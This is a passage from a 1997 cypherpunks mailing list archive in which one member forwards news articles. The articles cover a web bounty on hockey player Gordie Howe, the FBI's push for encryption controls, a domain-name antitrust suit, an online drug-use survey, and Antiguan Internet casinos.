   4. http://www.telegraph.co.uk/et/map/menu_ac=000140326706927_rtmo=32b91bbe_atmo=32b91bbe
   5. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/www.safesurf.com/online.htm&P4_from_link=97/9/19/ntosh19.html
   6. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/www.easynet.co.uk/cam/censorship/&P4_from_link=97/9/19/ntosh19.html
   7. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/tucson.com/ComicNews/rants/rant05.html&P4_from_link=97/9/19/ntosh19.html
   8. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/pantheon.cis.yale.edu/~dchamy/consp.html&P4_from_link=97/9/19/ntosh19.html
   9. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/ccwf.cc.utexas.edu/~panicbuy/HaTeMaiL/conspiracy.html&P4_from_link=97/9/19/ntosh19.html
  10. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/www.disinfo.com/&P4_from_link=97/9/19/ntosh19.html
  11. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/offsite/www.cjnetworks.com/~cubsfan/conspiracy.html&P4_from_link=97/9/19/ntosh19.html
  12. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/96/12/3/ecplo203.html
  13. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/97/6/27/wnet27.html
  14. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/97/9/19/nsleep19.html
  15. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/home.html
  16. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixnews.html
  17. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixworld.html
  18. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixcity.html
  19. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixsport.html
  20. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/ixcross.html
  21. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixweath.html
  22. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixmatt.html
  23. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/etc/iecon.html
  24. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/etc/etchome.html
  25. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixaz.html
  26. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/ixsearch.html
  27. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/shopping/ixshop.html
  28. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/et/classad/ixclass.html
  29. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/ixhelp.html
  30. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/copyright.html
  31. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/tsandcs.html
  32. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/tplc.html
  33. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/etinfo.html
  34. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/trademark.html
  35. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/corp/trademark.html
  36. http://www.telegraph.co.uk/et?ac=000140326706927&rtmo=32b91bbe&atmo=32b91bbe&pg=/email.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:13:27 +0800
To: cypherpunks@Algebra.COM
Subject: Assassination Politics of a sort
Message-ID: <199709220404.AAA05960@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




   [1]detnews.com home page
   
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   [41][LINK]
   [42][LINK] Friday, September 19, 1997
   [43][LINK] [44]Index
   
                   Howe is 'sickened' by bounty on Internet
                                       
     By Ted Kulfan
     
     The Detroit News
     
        There's a bounty on Gordie Howe's head. And Gordie isn't
     laughing about it.
     
        Howe, 69, is planning to file a police complaint against a
     California radio personality who offered a bounty to have "the old
     fool pummeled back to reality."
     
        The bounty is a reaction to Howe coming out of retirement to
     play with the Detroit Vipers on Oct. 3 against the Kansas City
     Blades at The Palace. He will be playing in his sixth decade.
     
        Jim Rome, a Los Angeles-based sports radio host, is running a
     pledge drive on the Internet and offering the money to any player
     who "drops the gloves with Gordie and lands at least one punch."
     
        On his "Bitter Gordie Howe" web site, Rome called Howe's wish to
     extend his professional career to six decades an "asinine stunt."
     The web-site address is www.jimrome.com
     
        Calls to Rome were not returned.
     
        Howe's wife and business manager, Colleen, said she and her
     husband are "absolutely sickened" by the web site.
     
        "We love the modern technology, but we're concerned about the
     kind of thing we're seeing here," Colleen Howe told the Toronto
     Globe and Mail in Thursday's editions. "There are rich people out
     there who may be enticed into ensuring that some harm is done to
     Gordie."
     
        The Howes could not be reached Thursday night.
     
        Vipers General Manager Rick Dudley said the team would have no
     comment until looking further into the situation.
     
        Wayne Logan, Howe's attorney, said he was in the process of
     filing a complaint with Los Angeles police to stop Rome's campaign,
     which had collected $5,071 as of Sunday at 10 p.m.
     
        "In a time when celebrities are worried about their safety,
     we're concerned about some crackpot who might take a shot at Gordie
     from the stands to collect the money," Logan said.
     
        Logan said the president of the Blades assured him the team
     would not single out Howe.
     
        Rome held a pledge drive last year, raising $6,645 when Howe
     attempted a comeback with the Syracuse Crunch of the American
     Hockey League. But Howe never played with Syracuse. The team, in
     the midst of a playoff chase, didn't want to lose a roster spot.
     
     Detroit News wire services contributed. 
     
   [45][LINK] Copyright (c) 1997, The Detroit News
   [46][LINK] We welcome your [47]comments. Check [48]NetMail for letters
   and responses

References

   1. http://detnews.com/
   2. http://detnews.com/EDITPAGE/EDIT.html
   3. http://detnews.com/FEATURES/LOTTO/
   4. http://detnews.com/WEATHER/
   5. http://search.detnews.com/
   6. http://detnews.com/current/accent/
   7. http://detnews.com/AUTOS/
   8. http://detnews.com/current/biz/
   9. http://detnews.com/CASINO/
  10. http://detnews.com/comics/
  11. http://detnews.com/cyberia/
  12. http://detnews.com/current/discover/
  13. http://detnews.com/current/food/
  14. http://detnews.com/golf/
  15. http://detnews.com/homestyl/
  16. http://data.detnews.com:8081/feedback/lettersindex.hbs
  17. http://detnews.com/current/metro/
  18. http://detnews.com/current/metlife/
  19. http://detnews.com/STRAT/
  20. http://detnews.com/SHOWTIME/moviefinder/
  21. http://detnews.com/current/nation/
  22. http://detnews.com/current/obits/
  23. http://detnews.com/current/outlook/
  24. http://detnews.com/current/detroit/
  25. http://detnews.com/history/index.html
  26. http://detnews.com/SCREENS/
  27. http://detnews.com/showtime/
  28. http://detnews.com/current/sports/
  29. http://detnews.com/current/college/
  30. http://detnews.com/current/preps/
  31. http://www.tmstv.com/cgi-bin/tvcgi.det
  32. http://detnews.com/VOICES/
  33. http://data.detnews.com:8081/feedback/index.hbs
  34. http://detnews.com/TDNHOME/who.htm
  35. http://detnews.com/TDNHOME/callus.htm
  36. http://www.dnps.com/class/
  37. http://www.dnps.com/circ/
  38. http://search.detnews.com/
  39. http://detnews.com/SHOWTIME/moviefinder/index.html
  40. http://personalspage.com/personals/detnews-freep
  41. http://www.careerpath.com/
  42. http://detnews.com/
  43. http://detnews.com/cyberia/
  44. http://detnews.com/cyberia/
  45. http://detnews.com/
  46. http://detnews.com/cyberia/
  47. http://data.detnews.com:8081/feedback/
  48. http://data.detnews.com:8081/feedback/lettersindex.hbs





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:54:14 +0800
To: cypherpunks@algebra.com
Subject: FBI vs Silicon Valley: Guess Who's Winning?
Message-ID: <199709220405.AAA05986@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




    [1]The most expandable handheld PC just got bigger. [2]Click here to
   find out how the S/390 server is now providing superb scalability for
                       the hottest applications (ibm)
                                 [3][LINK]
                                 [4][LINK]
                                 [5][LINK]
                                 [6][LINK]
   [7]SIGNUP[8]ABOUT[9]BW_CONTENTS[10]BW_+![11]DAILY_BRIEFING[12]SEARCH[1
                                3]CONTACT_US
                                      
              THE FBI VS. SILICON VALLEY: GUESS WHO'S WINNING
                                      
   Just a few weeks ago, it looked as if High-Tech Land was near victory
      in a protracted war with Washington. Its objective: relax export
    controls on software and hardware that encrypt into unbreakable code
         everything from corporate secrets to personal diaries. An
    industry-backed bill to ease the curbs, pushed by Representative Bob
        Goodlatte (R-Va.), was sailing through key House committees.
                                      
   But with the doggedness of a gumshoe, Federal Bureau of Investigation
     Director Louis J. Freeh has handed the techies a stunning setback.
   Raising the specter of pedophiles, drug dealers, and terrorists hiding
      their dirty secrets in electronic code, Freeh has been pressing
       Congress to go beyond export controls and impose unprecedented
           restraints on encrypted products in the U.S., as well.
                                      
   He's winning. On Sept. 9, the House National Security Committee gutted
    the Goodlatte bill's provisions liberalizing encryption exports. Two
    days later, the House Intelligence Committee added domestic controls
   that guarantee law enforcement officials access to coded information.
    Curbs are vital so ''we do not plow into the Information Age having
       weakened our ability to protect the national security,'' says
                Committee Chairman Porter J. Goss (R-Fla.).
                                      
    Capitol Hill's about-face has high-tech execs and civil libertarians
      aghast. The issue has united the likes of Microsoft, Intel, auto
    makers, and phone companies with the American Civil Liberties Union
                  and religious broadcaster Pat Robertson.
                                      
    VIOLATING PRIVACY? They see Big Brother not only hampering commerce
   but also violating rights to privacy and free speech. Freeh's plan to
     guarantee police access to decoding ''keys'' would be technically
     impossible or hugely expensive, says Microsoft Corp. lobbyist Jack
   Krumholtz. ''We risk impeding the growth of electronic commerce,'' he
     warns. Adds Rhett Dawson, president of the Information Technology
      Industry Council, which represents computer producers and users:
    ''There is a sense on the Hill that this is a good time to run over
            Fourth Amendment'' limits on searches and seizures.
                                      
      Freeh's proposal would require everyone who encrypts data to use
      technology that permits law enforcers to break the code. In one
     approach, company or personal records would be encrypted in easily
     breakable code--or the decoding keys would be held by a designated
    party, such as a central repository in a company. Police could then
    get a court order and obtain the keys without the users' knowledge.
   ''Not only does the government have the right to break down your door,
   but your door can't be stronger than their battering ram--or you must
    leave a key at the police station,'' fumes Stephen D. Crocker, chief
     technology officer at Cybercash Inc. It's a dramatic expansion of
      police wiretap power, warns Donald Haines of the ACLU. ''It puts
                            everyone at risk.''
                                      
   Freeh counters that a world in which criminals have unbreakable codes
   poses a real threat to law enforcement. That argument has swayed many
                lawmakers, who fear appearing soft on crime.
                                      
      Just a few years ago, the campaign to curb encryption was waged
   largely by the super-secret National Security Agency. It aimed to keep
     state-of-the-art products out of the hands of foreign terrorists.
     Since the U.S. was the world leader in data-scrambling technology,
    that meant extending cold war export controls. ''It would have been
   very difficult for an agency no one ever heard of to fight Bill Gates
      and the entire software and hardware industry,'' says Washington
     attorney and former NSA official Stewart A. Baker. ''Freeh can.''
                                      
   Stung by their sudden defeat, industry and civil liberties groups are
     holding emergency meetings to plan an all-court press. Their first
     goal: prevent the House Commerce Committee, next in line to take a
   crack at the Goodlatte bill, from also adding domestic controls. After
       Commerce votes in September, lobbying will shift to the Rules
   Committee, which must sort out several radically different versions of
    the legislation and send one along for a vote. The coalition is also
              fighting a strict encryption bill in the Senate.
                                      
   Meanwhile, the industry is trying to figure out where the White House
   stands. Vice-President Al Gore and Commerce Under Secretary William A.
     Reinsch, who oversees export policy, say the Administration still
   doesn't support mandatory domestic curbs--and the FBI chief is merely
    expressing his own views. Opponents don't completely buy that. Freeh
       may be out on his own, but he's clearly got the backing of the
   Administration, says Rebecca Gould of the Business Software Alliance.
           ''There's no doubt there's been a change in policy.''
                                      
   The likely outcome: a tactical retreat by industry to avoid an all-out
     rout. The techies have long rejected a compromise, believing they
   would prevail. Now, pressure from the coalition of business and civil
     libertarians will probably prevent Congress from imposing domestic
     controls. But the price will be living with a modified version of
     export controls. ''For once, they are in a position where they may
   have to negotiate,'' says Reinsch. The electronic wizards seem to have
           met their match in a Washington cop named Louis Freeh.
                                      
                           EDITED BY OWEN ULLMANN
                               By John Carey
                                      
                                  Press __
            for more information from Business Week's Archive*.
                                      
     *There's no charge to see this list of stories. A small payment is
         required only if you decide to view any specific article.
                                      
   [14]SIGNUP[15]ABOUT[16]BW_CONTENTS[17]BW_+![18]DAILY_BRIEFING[19]SEARC
                              H[20]CONTACT_US
                                 [21][LINK]
                                      
                   Updated Sept. 18, 1997 by bwwebmaster
   Copyright 1997, by The McGraw-Hill Companies Inc. All rights reserved.
                              [22]Terms of Use

References

   1. http://www.businessweek.com/event.ng/Type=click&ProfileID=1&RunID=131&AdID=243&Redirect=http:%2F%2Fwww.velo1.com
   2. http://www.businessweek.com/event.ng/Type=click&ProfileID=2&RunID=108&AdID=213&Redirect=http:%2F%2Fwww.s390.ibm.com
   3. http://www.businessweek.com/index.html
   4. http://www.businessweek.com/1997/39/970929.htm
   5. http://www.businessweek.com/1997/39/970929.htm
   6. http://www.businessweek.com/1997/39/970929.htm
   7. http://www.businessweek.com/register.htm
   8. http://www.businessweek.com/index.html
   9. http://www.businessweek.com/contents.htm
  10. http://www.businessweek.com/bwplus.htm
  11. http://www.businessweek.com/today.htm
  12. http://www.businessweek.com/search.htm
  13. http://www.businessweek.com/contact.htm
  14. http://www.businessweek.com/register.htm
  15. http://www.businessweek.com/index.html
  16. http://www.businessweek.com/contents.htm
  17. http://www.businessweek.com/bwplus.htm
  18. http://www.businessweek.com/today.htm
  19. http://www.businessweek.com/search.htm
  20. http://www.businessweek.com/contact.htm
  21. http://www.businessweek.com/index.html
  22. http://www.businessweek.com/copyrt.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:13:29 +0800
To: cypherpunks@Algebra.COM
Subject: Network Solutions sued for antitrust violation
Message-ID: <199709220406.AAA06002@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




   [1]SIDEBAR 
   
                          [2]Newsbytes Advertising
                                      
Uncle Sam Sued Over Net Control

   ****Uncle Sam Sued Over Net Control 09/19/97 WASHINGTON, DC, U.S.A.,
   1997 SEP 19 (NB) -- By Bob Woods. First, New York City-based PGMedia
   took on Herndon, Virginia-based Network Solutions Inc. (NSI) over that
   company's control over Internet domain name registrations - now
   PGMedia said it is adding the US government to the defendant column of
   the suit, in the form of the National Science Foundation (NSF).
   PGMedia wants to compete with NSI in the domain name registration
   game.
   
   PGMedia, which is also known as "name.space," charges both defendants
   with violating US antitrust laws, saying that neither party has the
   authority "to restrict or forestall the complete opening of the Domain
   Name Registration market." Company officials said the NSF has
   "injected" itself into the domain name dispute by claiming on behalf
   of the US government that it controls the domain name system.
   
   PGMedia said it "steadfastly believes that the National Science
   Foundation has no authority to restrict or forestall the complete
   opening of the domain name registration market." Company officials
   said that even if the NSF did have control, its actions "have the
   clear effect of limiting freedom of expression in the first and
   foremost avenue of speech on the Internet -- the domain name."
   
   An NSF official told Newsbytes that the Foundation did not have an
   immediate comment on the suit or the situation.
   
   PGMedia first took legal action against NSI last March, after NSI
   refused PGMedia's request that reference to the name.space name
   servers be added to the root zone file, PGMedia officials said. That
   suit sought to, among other things, compel NSI to add the name.space
   top level domains (TLDs) and name servers to the root zone file. After
   several discussions with PGMedia and its counsel, PGMedia said NSI
   proposed allowing unlimited TLDs -- but only if the NSF had no
   objection.
   
   NSI is in a five-year contract with NSF to provide domain name
   services, Newsbytes notes.
   
   PGMedia said that the NSF has no more of a place in this debate than
   any other interested party, and should not act to arbitrarily limit
   speech in the top level name space even if it did.
   
   In June and August of this year, the NSF informed NSI that it
   controlled the root zone file, and that it could not let NSI comply
   with Federal and state antitrust laws in granting PGMedia's request,
   PGMedia said.
   
   PGMedia's goals in the case include bringing the US government's
   "arbitrary restriction" of the top level name space to an end, and to
   bring the issue of "who ultimately controls the global Internet" to a
   "court of competent jurisdiction," in the form of the US Federal
   District Court in the Southern District of New York.
   
   (19970919/Press Contacts: PGMedia, 212-219-1415; Bill Noxon, National
   Science Foundation, 703-306-1070/Reported By Newsbytes News Network:
   [3]http://www.newsbytes.com /WWWDOME/PHOTO)
   
   "The Pulse of the Information Age" Newsbytes News Network
   [4]http://www.newsbytes.com 24-hour computer, telecom and online news
   
   [5]Copyright (c)Newsbytes News Network. All rightsreserved. For more
   Newsbytes see http://www.newsbytes.com.
   
        [6]Home | [7]Daily | [8]Weekly | [9]Publishers | [10]Search

References

   1. http://www.newsbytes.com/menus/navbar.map
   2. http://www.newsbytes.com/OAS/rm/try-it.cgi/www.newsbytes.com/home.html
   3. http://www.newsbytes.com/
   4. http://www.newsbytes.com/
   5. http://www.nbnn.com/copyrght.html
   6. http://www.nbnn.com/home.html
   7. http://www.nbnn.com/news/s_daily.html
   8. http://www.nbnn.com/news/s_week.html
   9. http://www.nbnn.com/publishers/publi_1.html
  10. http://www.nbnn.com/html_p/search.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:14:21 +0800
To: cypherpunks@Algebra.COM
Subject: Trac[k]ing the Successful Drug User
Message-ID: <199709220406.AAA06014@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




   [1][Internet news from Wired News. Read the latest Internet news
   stories, scan technology news headlines. Wired News also provides
   cyber-culture and political news about the wired world]
   []
   [2][Navigation bar]
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   Steve Silberman -->
   []
   [7][Back] Tracking the 'Successful' Drug User
   by [8]Steve Silberman 
   6:05pm  19.Sep.97.PDT If you fired up a bowl of Humboldt's finest to
   unwind last night, and still made it to the PTA meeting and your
   Fortune 500 job this morning, there's a new survey of recreational
   drug use on the Web that is targeting you.
   
   The survey, called [9]Drugnet, aims to track patterns of drug
   consumption among what researcher Tom Nicholson calls "the largest
   population of drug users in America - people who use drugs in a
   controlled, limited way, whose central focus is not drugs, but their
   families, friends and communities."
   
   By deploying their questionnaire on the Web, the researchers are
   hoping to use the relative anonymity of the Net to access a "hidden
   population" of drug users who would be disinclined to give accurate
   reports of illegal use to face-to-face interviewers, Nicholson says.
   
   Drugnet researcher John White, who, like Nicholson, is a professor of
   public health at Western Kentucky University, adds that the study aims
   to fill a gap in the available research literature created by the fact
   that many published studies focus on drug users who are in rehab or
   are students. In an era when national drug policy is based on
   prohibition and interdiction, says White, "It's an open secret that
   successful people do these drugs, but no one talks about it... There's
   a myth that all drug use is abuse."
   
   The third co-author of the study, David Duncan, author of the textbook
   Drugs and the Whole Person, admits that the group is being "really
   experimental" by drawing its respondents from the Net. While some
   studies in the past have relied on newspaper ads or word of mouth to
   cast a net around their sample population, the authors of Drugnet are
   using a modern, if crude, way of marshaling eyeballs to their site:
   spamming mailing lists and Usenet newsgroups. (The group's post to
   rec.antiques launched a thread about collecting 19th century drug
   paraphernalia.)
   
   The advantage of tapping the Net as a sample, Duncan claims, is that
   the online world is skewed toward a well-educated, employed,
   higher-income population - the very stratum of "successful" users the
   study is intended to reach.
   
   Contrary to media stereotypes of drug users as dysfunctional misfits,
   when the researchers conducted a pilot study for two weeks last
   November, they found their sample of 276 users were "a little more
   socially involved than the average American," Duncan observes - "more
   likely to vote regularly, more likely to be politically active, and
   they read more." And the respondents were "a close match to population
   norms" on a scale of social functioning used by the National Center of
   Health Statistics called the General Well-Being Schedule, he says.
   
   About a quarter of the respondents said they used LSD, with several
   citing "spiritual exploration" as a reason for their consumption of
   the drug. "It's a well-known fact that hallucinogens can be used as a
   religious, life-changing experience," says White. "People do it, but
   they feel they can't really talk about it in an atmosphere of
   non-charged discourse."
   
   Contributing to the "charge" around that discourse is White House drug
   czar Barry McCaffrey "spreading the dogma" of the Just Say No approach
   to drug education "as thick as he can," Duncan says, adding that
   studies like Drugnet have been discouraged because "it doesn't help
   you to get grants to go against the mainstream of thought."
   
   Each year, the Substance Abuse and Mental Health Services
   Administration releases a widely-referenced report called the
   [10]National Household Survey on Drug Abuse. Joe Gfroerer of the
   agency's Office of Applied Studies says that the study uses
   "self-administered answer sheets," returned to the interviewers in
   sealed envelopes, for the sections of the survey concerned with
   illegal drug use. Though Gfroerer admits that the survey is prone to
   "underreporting" - especially of "hard-core use" of drugs like heroin
   - he disputes the researchers' claim that the Internet is the best way
   to get a representative sample and accurate reporting of drug use.
   
   "I'm not sure that people would feel more secure reporting sensitive
   data over the Internet," Gfroerer says. "The problem with the Net is,
   you're responding to people you can't see, and you have no idea if the
   study is legitimate. We send a representative to people's homes who
   show identification and explain the significance of the study."
   
   He did say, however, that if the study was "controlled properly," you
   could get a "very large sample" of valuable data.
   
   The researchers admit that some Web surfers have expressed
   reservations about answering queries about illegal activities over the
   Net. As an extra security measure, survey instructions urge
   respondents to access the questionnaire via [11]the Anonymizer. White
   says that the research team is presently applying for a grant to
   purchase a secure server, for an enlarged version of Drugnet that
   could extend for years.
   
   "This is just the beginning of this study," says Nicholson. "We're
   looking at the future."
   Related Wired Links:
   [12]Taking on the 'Culture of Prohibition'
   3.Jun.97
   Find more related stories from the Web's top news sites with
   [13]NewsBot
   [14][Back] [15][Navigation strip]
   [16]Rants & Raves: Send your rants and raves to Wired News.
   
   [17]Tips: Have a story or tip for Wired News? Send it.
   [18]Copyright (c) 1993-97 Wired Ventures Inc. and affiliated companies.
   All rights reserved.
   [19][HotWired and HotBot]
   [] []
   [20]Click Here for SAP America
   [21]Tracking the 'Successful' Drug User
   [Culture]
   CULTURE
   Today's Headlines
   [22]Barney Doll Speaks, Takes Orders from TV
   [23]Tracking the 'Successful' Drug User
   [24]Dee Snider Plays Twisted Netster Onscreen
   [25]New Search Engine Makes Data Manageable
   [26]Purple Moon Finally Rises
   [27]Hit and Run
   [28]Street Cred: The Sponsored Life
   [29]Click Here for SAP America

References

   1. LYNXIMGMAP:http://www.wired.com/news/news/culture/story/7055.html#masthead.map
   2. LYNXIMGMAP:http://www.wired.com/news/news/culture/story/7055.html#nav1.map
   3. http://www.hotwired.com/cgi-bin/redirect/10010/http://stocks.wired.com/
   4. LYNXIMGMAP:http://www.wired.com/news/news/culture/story/7055.html#nav2.map
   5. http://www.hotwired.com/cgi-bin/redirect/10012/http://www.wired.com/wired/
   6. http://www.wired.com/news/download/email.cgi
   7. http://www.wired.com/news/news/top_stories/
   8. mailto:digaman@wired.com
   9. http://wkuweb1.wku.edu/~drugnet
  10. http://www.samhsa.gov/oas/nhsda/pe1996/httoc.htm
  11. http://www.anonymizer.com/
  12. http://www.wired.com/news/news/politics/story/4936.html
  13. http://www.hotwired.com/cgi-bin/redirect/10018/http://www.newsbot.com/
  14. http://www.wired.com/news/news/top_stories/
  15. LYNXIMGMAP:http://www.wired.com/news/news/culture/story/7055.html#navstrip.map
  16. http://www.wired.com/news/rantrave.html
  17. mailto:tips@wired.com
  18. http://www.wired.com/wired/full.copyright.html
  19. LYNXIMGMAP:http://www.wired.com/news/news/culture/story/7055.html#nav3.map
  20. http://www.wired.com/event.ng?Type=click&ProfileID=6&RunID=147&AdID=763&Redirect=http:%2F%2Fwww.sap.com%2Fteamsap%2Findex.htm
  21. http://www.wired.com/news/news/culture/story/7055.html
  22. http://www.wired.com/news/news/culture/story/7023.html
  23. http://www.wired.com/news/news/culture/story/7055.html
  24. http://www.wired.com/news/news/culture/story/6998.html
  25. http://www.wired.com/news/news/culture/story/6992.html
  26. http://www.wired.com/news/news/culture/story/6986.html
  27. http://www.wired.com/news/news/culture/story/7018.html
  28. http://www.wired.com/news/news/culture/story/6775.html
  29. http://www.wired.com/event.ng?Type=click&ProfileID=6&RunID=147&AdID=763&Redirect=http:%2F%2Fwww.sap.com%2Fteamsap%2Findex.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 22 Sep 1997 12:13:47 +0800
To: cypherpunks@Algebra.COM
Subject: Virtual Casinos booming in Antigua
Message-ID: <199709220407.AAA06032@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




   [1]Los Angeles Times
   [News..............] ______________
   [Site Index.......] ______________
   [2][ISMAP]-[3]FRONT PAGE
   
   [4]Leading Ladies
   
                                               Sunday, September 21, 1997
                                                                         
   'Virtual Casinos' Cash In on Lax Rules in Antigua 
   By [5]MARK FINEMAN, Times Staff Writer
   
   
   [6]PREV STORY
   [7]NEXT STORY
   S T. JOHN'S, Antigua and Barbuda--None of the 64,000 residents of this
   small, three-island Caribbean nation have complained about the latest
   international gambling boom to sweep their secretive little piece of
   paradise.
        In the past few months, more than a dozen casinos have opened
   here--though most Antiguans haven't seen them and don't know they
   exist.
        Packed with games of roulette, blackjack, poker and craps, each
   gambling house is small enough to fit into the corner of a tiny room.
   Yet their owners say they are taking in millions of dollars a month
   from thousands of bettors, from Los Angeles to New York and beyond.
        It's Internet gambling--a wave of hot new Web sites set up as
   "virtual casinos" that allow you to win or lose real money from the
   comfort of your own home. And most of these sites originate in small
   villas or obscure offices on 108-square-mile Antigua, which is as
   famous for its secrecy and scandals as it is for its freewheeling tax
   laws and banking policies.
        There are no taxes on capital gains or income in Antigua and
   Barbuda. The government shuns outside scrutiny, even from its own
   citizens. During the past decade, it has licensed at least 57 offshore
   banks and at least two major sports betting operations, and only it
   knows the names and assets of their owners.
        And under legislation passed earlier this year, Antigua has been
   charging just $100,000 a year for an Internet casino license that
   offers a similar promise of minimum regulation, maximum anonymity and
   tax-free profit.
        But all that may soon change.
        The "Interbet" boom comes amid a series of recent corruption and
   fraud scandals here, the biggest involving the collapse of the world's
   first Internet bank. From a base in Antigua and with the promise of
   "utmost privacy," two Russians allegedly used the Web to bilk wealthy
   customers in the United States and elsewhere out of tens of millions
   of dollars before closing the bank and fleeing last month.
        The virtual casino boom also comes at a time when off-island
   critics, among them U.S. law enforcement agencies and the State
   Department, say Antigua's loose regulatory track record and its
   secrecy laws have amounted to a recipe for disaster. Together, they
   offer organized crime rings and international drug cartels a haven to
   "wash" billions in illicit profits through Antiguan offshore
   businesses.
        "Antigua's offshore banking sector--established in the mid-1980s
   with only limited regulation--expanded rapidly in recent years. . . .
   Unfortunately, inadequate regulation and vetting led to a surge in
   questionable banking operations--a number with alleged links to
   Russian criminal elements," declared the State Department's most
   recent report on the international narcotics and money-laundering
   trades, issued in March.
        "The growing potential for money laundering has been an
   increasing concern of both the U.S. and Antiguan governments," the
   report added.
        The advent of Internet casino gambling here merely ups the ante
   for international agencies attempting to prevent global money
   laundering and computer fraud in an era when criminal technology is
   fast eclipsing the tools of law enforcement.
        The State Department specifically cited Antigua's Internet
   banking and casino industries--"all with a similar lack of effective
   regulation"--as cause for concern.
        The U.S. report carefully praised Antiguan Prime Minister Lester
   Bird for tough new laws against money laundering passed in December
   and for his personal vow to crack down on the island's booming
   drug-transshipment trade. His government also is introducing tougher
   regulation of all offshore operations, the State Department noted.
        The few owners of virtual casinos in Antigua who agreed to be
   interviewed by The Times asserted that they welcome the new
   regulations, insisting that their operations are not only legal and
   honest but also state of the art.
        American Bill Scott, who moved his offshore sports betting
   operation to Antigua from the nearby island of St. Martin two years
   ago, said his Intercasino Web site was a natural next step for his
   parent company, World Wide Tele Sports.
        Located in the heart of St. John's, the nation's capital--atop a
   modern five-story, glass-and-marble building that most Antiguans think
   houses a computer school--Scott's operation handles millions of
   dollars in U.S. sports bets via 800 numbers under a separate Antiguan
   gaming license, he says.
        Scott says he was drawn to Antigua by the efficient phone system
   and, of course, the fact that gambling is legal here in a tax haven
   where confidentiality reigns and where even the Internet casinos are
   not viewed askance.
        Surrounded by dozens of computer stations where young Antiguans
   in headsets were taking sports bets on every conceivable contest one
   recent Sunday afternoon, Scott said business in his new Internet
   casino--located in a tiny corner of an adjacent office--is so good
   that he plans to open two more this week.
        "It's like Vegas. If you lose in one casino, you can go down the
   street to another," he said.
        To play at an Internet casino, gamblers access a casino site on
   the World Wide Web through their personal computers, establish an
   account with a credit card or money order and collect their virtual
   "chips." The computer program ushers them into a full-color,
   multidimensional casino that looks remarkably similar to those in Las
   Vegas, and they can gamble at the table of their choice.
        Given that it is an industry where only the customers' credit
   cards and money orders are real--risked against software and humans
   they never see--Scott acknowledged that Antigua's latest cyber-craze
   is ripe for fraud. But he said his casino uses the latest technology
   from two Canadian computer scientists, along with the older technology
   of random number generator chips, to ensure the fairest game around.
        Developed by the directors of Toronto-based Crytologic, which is
